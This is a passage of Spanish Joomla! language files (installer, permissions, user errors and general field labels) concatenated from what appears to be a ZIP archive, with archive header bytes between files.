Archivo de manifiesto inválido" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalador de archivos: Archivo de manifiesto inválido o no encontrado." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Desinstalador de archivos: No se ha podido cargar la entrada de la extensión" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Desinstalador de archivos: No se ha podido cargar el archivo de manifiesto" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Desinstalar archivos: Error SQL en el archivo %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="Desinstalación de archivos: Se están intentando desinstalar archivos del núcleo" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Otra extensión ya está usando el directorio [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Instalar idioma descubierto: Fallo al almacenar los detalles del idioma" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="El idioma no se va a poder desinstalar, mientras que sea el idioma predeterminado." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Desinstalar idioma: No se ha podido borrar el directorio del idioma especificado." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Desinstalar idioma: El elemento está vacío y no se pueden desinstalar los archivos" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Desinstalar idioma: La ruta del idioma está vacía y no se pueden desinstalar los archivos" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="Este idioma no se puede desinstalar porque está protegido desde la base de datos (normalmente es el 'en-GB')" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Instalar librería descubierta: Fallo al almacenar los detalles de la librería" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Desinstalar librería: Archivo de manifiesto inválido" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar librería: Archivo de manifiesto inválido o no encontrado." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Desinstalar librería: No se ha podido cargar el archivo de manifiesto" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Desinstalar librería: Se está intentando desinstalar una librería del núcleo" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller: :Instalar: Fallo al cargar el archivo XML: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Instalar módulo descubierto: Fallo al almacenar los detalles del módulo" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Actualizar manifiesto en caché del módulo: Fallo al almacenar los detalles del módulo" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar módulo: Extensión desconocida" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Desinstalar módulo: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar módulo: Archivo de manifiesto inválido o no encontrado." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Desinstalar módulo: Error en el archivo SQL %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Desinstalar módulo: Está intentando desinstalar un módulo del núcleo: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="No existen paquetes del idioma para este idioma [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Instalar: El archivo %s no existe" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="El paquete no especifica ninguna etiqueta del idioma. ¿Está intentando instalar un paquete del idioma antiguo?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Instalar: No se ha podido encontrar el archivo XML de configuración de Joomla!" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Instalar: No se ha podido encontrar el archivo XML de configuración." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Desinstalar paquete: Archivo de manifiesto inválido" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar paquete: Archivo de manifiesto inválido o no encontrado: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Desinstalar paquete: No se ha podido cargar el archivo de manifiesto" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Desinstalar paquete: ¡Se encontraron errores y el archivo de manifiesto no se puede borrar!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Desinstalar paquete: Archivo de manifiesto no encontrado" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Desinstalar paquete: Puede que esta extensión ya haya sido desinstalada o que no haya sido desinstalada correctamente: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Desinstalación de paquetes: Se están intentando desinstalar paquetes del núcleo" JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Instalar plugin descubierto: Fallo al almacenar los detalles del plugin" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Actualizar manifiesto en caché del plugin: Fallo al almacenar el manifiesto del plugin" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar plugin: Extensión desconocida" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Desinstalar plugin: Campo de la carpeta está vacío y no se pueden eliminar los archivos" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Desinstalar plugin: Archivo de manifiesto inválido" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar plugin: Archivo de manifiesto inválido o no encontrado." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Desinstalar plugin: No se ha podido cargar el archivo de manifiesto" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Desinstalar plugin: Se está intentando desinstalar un plugin del núcleo: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Instalar: Error SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Instalar: Archivo SQL no encontrado %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller: :Instalar: Error de lectura en el área de intercambio ('buffer') del archivo SQL" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Instalación de la plantilla descubierta: Fallo al almacenar los detalles de la plantilla" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Desinstalar plantilla: Extensión desconocida" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Desinstalar plantilla: Cliente inválido." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Desinstalar plantilla: Archivo de manifiesto inválido o no encontrado." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Desinstalar plantilla: No se ha podido eliminar la plantilla predeterminada." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Desinstalar plantilla: El directorio no existe y no se pueden eliminar los archivos" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Desinstalar plantilla: El 'ID' de la plantilla está vacío y no se pueden desinstalar los archivos" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Desinstalar plantilla: Se está intentando desinstalar una plantilla del núcleo: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Tipo de cliente desconocido [%s]" JLIB_INSTALLER_INSTALL="Instalar" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Idioma asignado como predeterminado para los usuarios %d" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Idioma asignado como predeterminado para el usuario %d" JLIB_INSTALLER_UNINSTALL="Desinstalar" JLIB_INSTALLER_UPDATE="Actualizar" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Se ha especificado un cliente inválido, en el archivo de instalación de la extensión." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Intentando desinstalar las extensiones desconocidas del paquete. Puede que estas extensiones ya hubieran sido desinstaladas anteriormente." JLIB_MAIL_FUNCTION_DISABLED="La función 'mail()' ha sido deshabilitada y no se puede enviar el correo." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Remitente de correo inválido: %s, JMail: :setSender(%s)" JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Error cargando plugins: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="No se ha podido cargar el formato de la clase" JLIB_RULES_ACTION="Acción" JLIB_RULES_ALLOWED="Permitido" JLIB_RULES_ALLOWED_ADMIN="Permitido (Súper admin)" JLIB_RULES_CALCULATED_SETTING="Configuración calculada 2" JLIB_RULES_CONFLICT="Conflicto" JLIB_RULES_DENIED="Denegado" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Grupos" JLIB_RULES_INHERIT="Heredado" JLIB_RULES_INHERITED="Heredado" JLIB_RULES_NOT_ALLOWED="No permitido" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflicto" JLIB_RULES_NOT_ALLOWED_LOCKED="No permitido (Bloqueado)" JLIB_RULES_NOT_SET="Sin asignar" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Permitir o denegar %s para los usuarios en el grupo %s" JLIB_RULES_SELECT_SETTING="Seleccionar la nueva configuración 1" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán en este grupo y en todos sus subgrupos, componentes y contenido. Note que:
            Denegado sobrescribirá cualquier configuración heredada, así como la configuración asignada desde cualquier subgrupo, componente, o contenido. En caso de que se produzcan conflictos con la configuración, Denegar tomará preferencia. Sin asignar es equivalente a Denegado pero con la diferencia que permite realizar cambios en el estado de los permisos dentro de los subgrupos, componentes y contenido.
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." JLIB_RULES_SETTING_NOTES_ITEM="1. Si cambia la configuración, las modificaciones se aplicarán en este elemento. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global, desde los grupos de nivel superior y desde la categoría.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior, o desde la categoría; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este elemento (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este elemento (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior, o con lo asignado desde la categoría, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." JLIB_RULES_SETTINGS_DESC="Gestione la configuración de privilegios para los grupos de usuarios de más abajo. Revise las notas de la parte inferior." JLIB_UNKNOWN="Desconocido" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="La directiva de PHP 'allow_url_fopen' está deshabilitado. Debe estar habilitado para que funcione el instalador." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: No se ha podido abrir %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Update: :Collection: No se ha podido analizar %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: No se ha podido abrir %s" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Actualización: :Extensión: No se ha podido analizar %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: No se ha podido cargar el plugin: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct: No se pueden cargar las librerías de autentificación." JLIB_USER_ERROR_BIND_ARRAY="No se ha podido enlazar con la matríz del usuario objeto" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="No puede eliminar sus propios permisos de súper administrador." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: El usuario %s no existe" JLIB_USER_ERROR_NOT_SUPERADMIN="Solo los usuarios con privilegios de súper administrador pueden cambiar los privilegios de las cuentas pertenecientes a otros súper administradores." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="La contraseña no coincide. Por favor, introduzca nuevamente la contraseña." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="No se ha podido encontrar a ningún usuario que coincida con el código de activación facilitado" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: No se ha podido cargar al usuario con 'ID': %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="El grupo no existe" JLIB_UTIL_ERROR_APP_INSTANTIATION="Error de instancialización de la aplicación" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: No se ha podido conectar a la base de datos
            joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="'DommitDocument' está en desuso. En su lugar use 'DomDocument'" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Error cargando los datos del canal electrónico" JLIB_UTIL_ERROR_XML_LOAD="Fallo cargando el archivo XML" PK@y>\"C'language/es-ES/es-ES.plg_system_log.ininuW+A; $Id: es-ES.plg_system_log.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_LOG_XML_DESCRIPTION="Proporciona la identificación de usuarios al sistema" PLG_SYSTEM_LOG="Sistema - Acceso" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="Esta opción registra los nombres de usuario cuando falle una autentificación" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Registrar nombres de usuario" PK@y>\*k/language/es-ES/es-ES.plg_search_content.sys.ininuW+A; $Id: es-ES.plg_search_content.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CONTENT="Buscar - Contenido" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Se habilitan las búsquedas en los artículos" PK@y>\RNs(language/es-ES/es-ES.com_banners.sys.ininuW+A; $Id: es-ES.com_banners.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_BANNERS="Anuncios" COM_BANNERS_BANNERS="Anuncios" COM_BANNERS_CATEGORY_ADD_TITLE="Gestor de categorías: Añadir una nueva categoría de anuncios" COM_BANNERS_CATEGORY_EDIT_TITLE="Gestor de categorías: Editar una categoría de anuncios" COM_BANNERS_CATEGORIES="Categorías" COM_BANNERS_CLIENTS="Clientes" COM_BANNERS_TRACKS="Informes" COM_BANNERS_XML_DESCRIPTION="Este componente le permite gestionar los anuncios y a sus clientes" PK@y>\TWz)language/es-ES/es-ES.plg_editors_none.ininuW+A; $Id: es-ES.plg_editors_none.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS_NONE="Editor - Sin editor" PLG_NONE_XML_DESCRIPTION="Esto carga un campo de introducción de texto básico." PK@y>\;gg,language/es-ES/es-ES.plg_finder_weblinks.ininuW+A; $Id: es-ES.plg_finder_weblinks.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_WEBLINKS="Búsquedas inteligentes - Enlaces web" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="Este plugin indexa los enlaces web de Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Enlace web" PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Enlaces web" PK@y>\2-language/es-ES/es-ES.com_joomlaupdate.sys.ininuW+A; $Id: es-ES.com_joomlaupdate.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_JOOMLAUPDATE="Actualización de Joomla!" COM_JOOMLAUPDATE_XML_DESCRIPTION="Actualización en un solo clic a la última versión de Joomla!" PK@y>\I-language/es-ES/es-ES.plg_finder_newsfeeds.ininuW+A; $Id: es-ES.plg_finder_newsfeeds.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_NEWSFEEDS="Búsquedas inteligentes - Canales electrónicos" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Este plugin indexa los canales electrónicos de Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="Canal electrónico" PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="Canales electrónicos" PK@y>\ G::)language/es-ES/es-ES.com_messages.sys.ininuW+A; $Id: es-ES.com_messages.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MESSAGES="Mensajería" COM_MESSAGES_ADD="Nuevo mensaje privado" COM_MESSAGES_READ="Leer mensajes privados" COM_MESSAGES_XML_DESCRIPTION="Componente para dar soporte de mensajería privada en la administración" PK@y>\MMlanguage/es-ES/es-ES.ininuW+A; $Id: es-ES.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! JERROR_PARSING_LANGUAGE_FILE=" : error(es) en la(s) línea(s) %s" J1="1" J2="2" J3="3" J4="4" J5="5" J6="6" J7="7" J8="8" J9="9" J10="10" J15="15" J20="20" J25="25" J30="30" J50="50" J75="75" J100="100" J150="150" J200="200" J250="250" J300="300" JH1="h1" JH2="h2" JH3="h3" JH4="h4" JH5="h5" JH6="h6" ERROR="Error" MESSAGE="Mensaje" NOTICE="Aviso" WARNING="Advertencia" JADMINISTRATION="Administración" JADMINISTRATOR="Administrador" JALL="Todos" JALL_LANGUAGE="Todos" JAPPLY="Guardar" JARCHIVED="Archivado" JAUTHOR="Autor" JCANCEL="Cancelar" JCATEGORIES="Categorías" JCATEGORY="Categoría" JCLEAR="Limpiar" JCLIENT="Localización" JCONFIG_PERMISSIONS_DESC="Permisos predeterminados a usar para todo el contenido de este componente." JCONFIG_PERMISSIONS_LABEL="Permisos" JCURRENT="Actual" JDATE="Fecha" JDEFAULT="Predeterminado" JDETAILS="Detalles" JDISABLED="Deshabilitado" JENABLED="Habilitado" JFALSE="Falso" JFEATURED="Destacado" JHELP="Ayuda" JHIDE="Ocultar" JINVALID_TOKEN="Las solicitudes recientes han sido denegadas porque contenían un 'token' de seguridad inválido. Por favor, actualice la página e inténtelo de nuevo." JLOGIN="Conectar" JLOGOUT="Desconectar" JMODIFY="Modificar" JNEVER="Nunca" JNEXT="Siguiente" JNO="No" JNONE="Ninguno" JOFF="Desactivado" JON="Activado" JOPTIONS="Opciones" JPREV="Anterior" JPREVIOUS="Anterior" JPROTECTED="Protegido" JPUBLISHED="Publicado" JRECORD_NUMBER="Número de registro" JREGISTER="Registrado" JSAVE="Guardar y cerrar" JSELECT="Seleccionar" JSTATUS="Estado" JSHOW="Mostrar" JSITE="Sitio" JSUBMIT="Enviar" JTRASH="Papelera" JTRASHED="Movido a la papelera" JTRUE="Verdadero" JUNARCHIVE="Desarchivarlo" JUNDEFINED="Indefinido" JUNPUBLISHED="Despublicado" JVERSION="Versión" JYES="Sí" JACTION_ADMIN="Configurar" JACTION_ADMIN_COMPONENT_DESC="Permite a los usuarios del grupo editar las opciones de esta extensión." JACTION_ADMIN_GLOBAL="Súper administrador" JACTION_ADMIN_GLOBAL_DESC="Permite a los usuarios del grupo realizar cualquier acción, a pesar de lo que esté configurado desde otros lugares." JACTION_COMPONENT_SETTINGS="Configuración del componente" JACTION_CREATE="Crear" JACTION_CREATE_COMPONENT_DESC="Permite a los usuarios del grupo crear cualquier contenido en esta extensión." JACTION_DELETE="Borrar" JACTION_DELETE_COMPONENT_DESC="Permite a los usuarios de este grupo borrar cualquier contenido en esta extensión." JACTION_EDIT="Editar" JACTION_EDIT_COMPONENT_DESC="Permite a los usuarios del grupo editar cualquier contenido en esta extensión." JACTION_EDITOWN="Editar propios" JACTION_EDITOWN_COMPONENT_DESC="Permite a los usuarios del grupo editar cualquier contenido que ellos hayan enviado en esta extensión." JACTION_EDITSTATE="Editar estado" JACTION_EDITSTATE_COMPONENT_DESC="Permite a los usuarios del grupo cambiar el estado de cualquier contenido de esta extensión." JACTION_LOGIN_ADMIN="Acceso a la administración" JACTION_LOGIN_OFFLINE="Acceso fuera de línea" JACTION_LOGIN_SITE="Acceso al sitio" JACTION_MANAGE="Acceso a la interfaz de administración" JACTION_MANAGE_COMPONENT_DESC="Permite a los usuarios del grupo acceder a la interfaz de administración de esta extensión." JBROWSERTARGET_MODAL="Modal" JBROWSERTARGET_NEW="Nueva ventana" JBROWSERTARGET_PARENT="Misma ventana" JBROWSERTARGET_POPUP="En una ventana emergente" JERROR_ALERTNOAUTHOR="No está autorizado a poder ver este recurso." JERROR_AN_ERROR_HAS_OCCURRED="Se ha producido un error." JERROR_CORE_DELETE_NOT_PERMITTED="La acción 'Borrar' no está permitida" JERROR_INVALID_CONTROLLER="Controlador inválido" JERROR_INVALID_CONTROLLER_CLASS="Clase del controlador inválida" JERROR_LOADFILE_FAILED="Se ha producido un error cargando desde el archivo" JERROR_LOADING_MENUS="Se ha producido un error cargando menús: %s" JERROR_LOGIN_DENIED="No tiene privilegios de acceso a esta sección de la administración." JERROR_NO_ITEMS_SELECTED="Sin elemento(s) seleccionado(s)." JERROR_NOLOGIN_BLOCKED="¡Acceso denegado! Su cuenta está bloqueada o aún no ha sido activada." JERROR_SAVE_FAILED="No se pueden guardar los datos. Error: %s" JFIELD_ACCESS_DESC="El nivel de acceso que tiene permitido ver este elemento." JFIELD_ACCESS_LABEL="Acceso" JFIELD_ALIAS_DESC="El alias se usará en la URL amigable. Si lo deja en blanco, Joomla! lo rellenará con un valor predeterminado obtenido a partir del título. El valor dependerá de la configuración SEO ('Configuración global'->'Sitio').
            Usando Unicode se producirán alias UTF-8. También puede introducir manualmente cualquier caracter UTF-8. Los espacios o cualquier otro caracter prohibido serán sustituidos por guiones.
            Cuando se usa la transliteración predeterminada, se producen alias en minúsculas y con guiones medios en lugar de espacios. Puede introducir el alias manualmente. Use letras en minúsculas y guiones (-). No se permiten espacios o guiones bajos. Si el título no contiene caracteres latinos, se usará la fecha y hora." JFIELD_ALIAS_LABEL="Alias" JFIELD_ALT_COMPONENT_LAYOUT_DESC="Use una presentación distinta a la predeterminada del componente o sobreescríbala creando o editando las vistas desde la plantilla." JFIELD_ALT_LAYOUT_LABEL="Presentación alternativa" JFIELD_ALT_MODULE_LAYOUT_DESC="Use una presentación distinta a la predeterminada del módulo o sobrescríbala creando o editando las vistas desde la plantilla." JFIELD_ALT_PAGE_TITLE_DESC="Un título alternativo para asignar a la página que cambiará la etiqueta 'TITLE' en la salida HTML." JFIELD_ALT_PAGE_TITLE_LABEL="Título alternativo de la página" JFIELD_BASIS_LOGIN_DESCRIPTION_DESC="Texto a mostrar en la página de conexión" JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL="Texto descriptivo de conexión" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC="Mostrar u ocultar el texto descriptivo de conexión" JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL="Texto de conexión" JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC="Texto para la página de desconexión" JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL="Texto descriptivo de desconexión" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC="Mostrar u ocultar la descripción de desconexión" JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL="Texto de desconexión" JFIELD_CATEGORY_DESC="La categoría a la que está asignado este elemento." JFIELD_ENABLED_DESC="El estado de este elemento" JFIELD_KEY_REFERENCE_DESC="Usado para almacenar información de referencia a un recurso externo" JFIELD_KEY_REFERENCE_LABEL="Clave de referencia" JFIELD_LANGUAGE_DESC="Asigne un idioma a este artículo." JFIELD_LANGUAGE_LABEL="Idioma" JFIELD_LOGIN_IMAGE_DESC="Imagen a mostrar en la página de conexión" JFIELD_LOGIN_IMAGE_LABEL="Imagen de conexión" JFIELD_LOGIN_REDIRECT_URL_DESC="Si se introduce una URL, se redirigirá ahí a los usuarios después de identificarse correctamente. La URL no debe ser externa." JFIELD_LOGIN_REDIRECT_URL_LABEL="Redirección de conexión" JFIELD_LOGOUT_IMAGE_DESC="Imagen a mostrar en la página de desconexión" JFIELD_LOGOUT_IMAGE_LABEL="Imagen de desconexión" JFIELD_LOGOUT_REDIRECT_URL_DESC="Si se introduce una URL, se redirigirá ahí a los usuarios después de desconectarse correctamente. La URL no debe ser externa." JFIELD_LOGOUT_REDIRECT_URL_LABEL="Redirección de desconexión" JFIELD_META_DESCRIPTION_DESC="Un párrafo opcional para usarse a modo de descripción de la página, en la salida HTML. Se mostrará generalmente en los resultado de los motores de búsqueda." JFIELD_META_DESCRIPTION_LABEL="Metadescripción" JFIELD_META_KEYWORDS_DESC="Una lista opcional de palabras clave o frases, separadas por una coma, a usarse en la salida HTML." JFIELD_META_KEYWORDS_LABEL="Metapalabras clave" JFIELD_META_RIGHTS_DESC="Describa los derechos que tienen los demás sobre este contenido." JFIELD_META_RIGHTS_LABEL="Derechos del contenido" JFIELD_METADATA_AUTHOR_DESC="El autor de este contenido" JFIELD_METADATA_RIGHTS_DESC="Publicación de los derechos para el contenido" JFIELD_METADATA_RIGHTS_LABEL="Derechos" JFIELD_METADATA_ROBOTS_DESC="Instrucciones para los robots" JFIELD_METADATA_ROBOTS_LABEL="Robots" JFIELD_METADATA_XREFERENCE_DESC="Una referencia opcional usada para enlazar a fuentes de datos externos." JFIELD_METADATA_XREFERENCE_LABEL="Referencia cruzada" JFIELD_MODULE_LANGUAGE_DESC="Asigne un idioma a este módulo." JFIELD_NOTE_DESC="Nota" JFIELD_NOTE_LABEL="Nota" JFIELD_OPTION_NONE="Ninguno" JFIELD_ORDERING_DESC="Seleccionar orden" JFIELD_ORDERING_LABEL="Orden" JFIELD_PARAMS_LABEL="Opciones" JFIELD_PLG_SEARCH_ALL_DESC="Indique entre si se incluyen, o no, elementos publicados en la búsqueda" JFIELD_PLG_SEARCH_ALL_LABEL="Buscar publicados" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Indique entre si se incluyen, o no, elementos archivados en la búsqueda" JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Buscar archivados" JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Asigne el número máximo de resultados de búsqueda a mostrar." JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Límite de la búsqueda" JFIELD_PUBLISHED_DESC="Asigne el estado de publicación." JFIELD_READMORE_DESC="Añada un texto personalizado a usar en lugar del 'Leer más...'" JFIELD_READMORE_LABEL="Texto del 'Leer más...'" JFIELD_SPACER_LABEL="
